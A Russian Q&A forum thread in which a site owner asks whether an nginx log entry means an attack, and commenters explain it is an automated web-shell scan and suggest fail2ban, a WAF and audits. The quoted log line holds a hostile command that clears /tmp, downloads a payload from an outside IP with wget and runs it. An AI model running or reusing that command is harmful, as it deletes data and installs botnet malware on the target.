Ломают мой хостинг? Как защитить, основываясь на логах?

Question

[Дмитрий]

Доброго времени суток!
Увидел в логах вот такую строку:

2020/09/11 22:18:18 [error] 1693#1693: *2348 open() "/usr/share/nginx/html/shell" failed (2: No such file or directory), client: 197.56.189.213, server: localhost, request: "GET /shell?cd+/tmp;rm+-rf+*;wget+149.3.170.181/beastmode/b3astmode;chmod+777+/tmp/b3astmode;sh+/tmp/b3astmode+BeastMode.Rep.Jaws HTTP/1.1", host: "127.0.0.1:80"

Попытка взлома? Как пресечь и выявить первоисточник?

Comments

[Gennady S]

Эм, для начала, сменить пароли, обновить систему и все точки внешнего доступа через веб, при этом, удалив все неизвестные и сомнительные. А в остальном, факторов миллион.

[Дмитрий]

Gennady S,
ssh только по ключу
обновлено все, не считая php7.3
во вне торчит только сам веб-сервер 80 и 443 портами

Через что лезут то, как понять?

[shurshur]

Дмитрий, на любой сайт случайные хосты из интернета регулярно лезут фиг знает с чем, в надежде найти какие-то известные уязвимости. Если нет системных попыток взломать, то не волноваться на этот счёт.

[Дмитрий]

Это понятно, да.
Но что-то я туплю, похоже спать пора...

Приведенная мной строчка из лога nginx. А в логах вхостов я ошибок критичных не вижу. Откуда ноги ростут?

Answer 1

[algiraid]

Как вариант - закрыть все не нужные порты, поставить антивирь с антималварем. Настроить по крону очистку папок, которые не нужны, раз в 5 секунд. Хонейспот при обнаружении get запросов от новых клиентов. Fail2ban. И регулярный аудит безопасности в режиме паранои.
З.Ы. вам повезло - только одна запись. Когда мне пытались взломать сайт в логах хостера было 60 попыток. Яндекс увидел 20 заходов.

Comments

[Дмитрий]

О нет, везением тут и не пахнет...
Смотрите скрин. Сверху access.log, снизу error.log

[wisgest]

Дмитрий, непонятно кому адресована ваша реплика и что за дурацкая манера выкладывать текст картинкой? access.log совершенно стандартный, да и в error.log ничего ужасного (заметим, что эти запросы именно в error.log, т. е они не были обслужены и ничего такого у вас на сервере нет). Похоже, вы полный новичок, привыкайте.

[Дмитрий]

wisgest, мой комментарий был единственным под этим ответом и мне казалось, что очевидно, для кого он.
Да, опыта мало, перебздел. По-моему, лучше так, чем восстанавливаться из бекапов))

[wisgest]

Дмитрий, извините, проглядел, что «З.Ы. вам повезло» было именно в этом ответе, показалось, что вы промахнулись.

Answer 2

[profesor08]

Это просто автоматический скан на наличие шелла. Беспокоиться пока не о чем. Но если не спится спокойно, можешь перепроверить директории на наличие неизвестных и подозрительных файлов.

Comments

[SVM]

можешь перепроверить директории на наличие неизвестных и подозрительных файлов.

это как мёртвому припарки )))

[profesor08]

SOTVM, если ничего не нашлось, то и беспокоиться не о чем. Во всех остальных уже будет поздно.

[SVM]

profesor08,
и я об этом

Answer 3

[Сергей Горностаев]

fail2ban

Answer 4

[Андрей Гаврилов]

Waf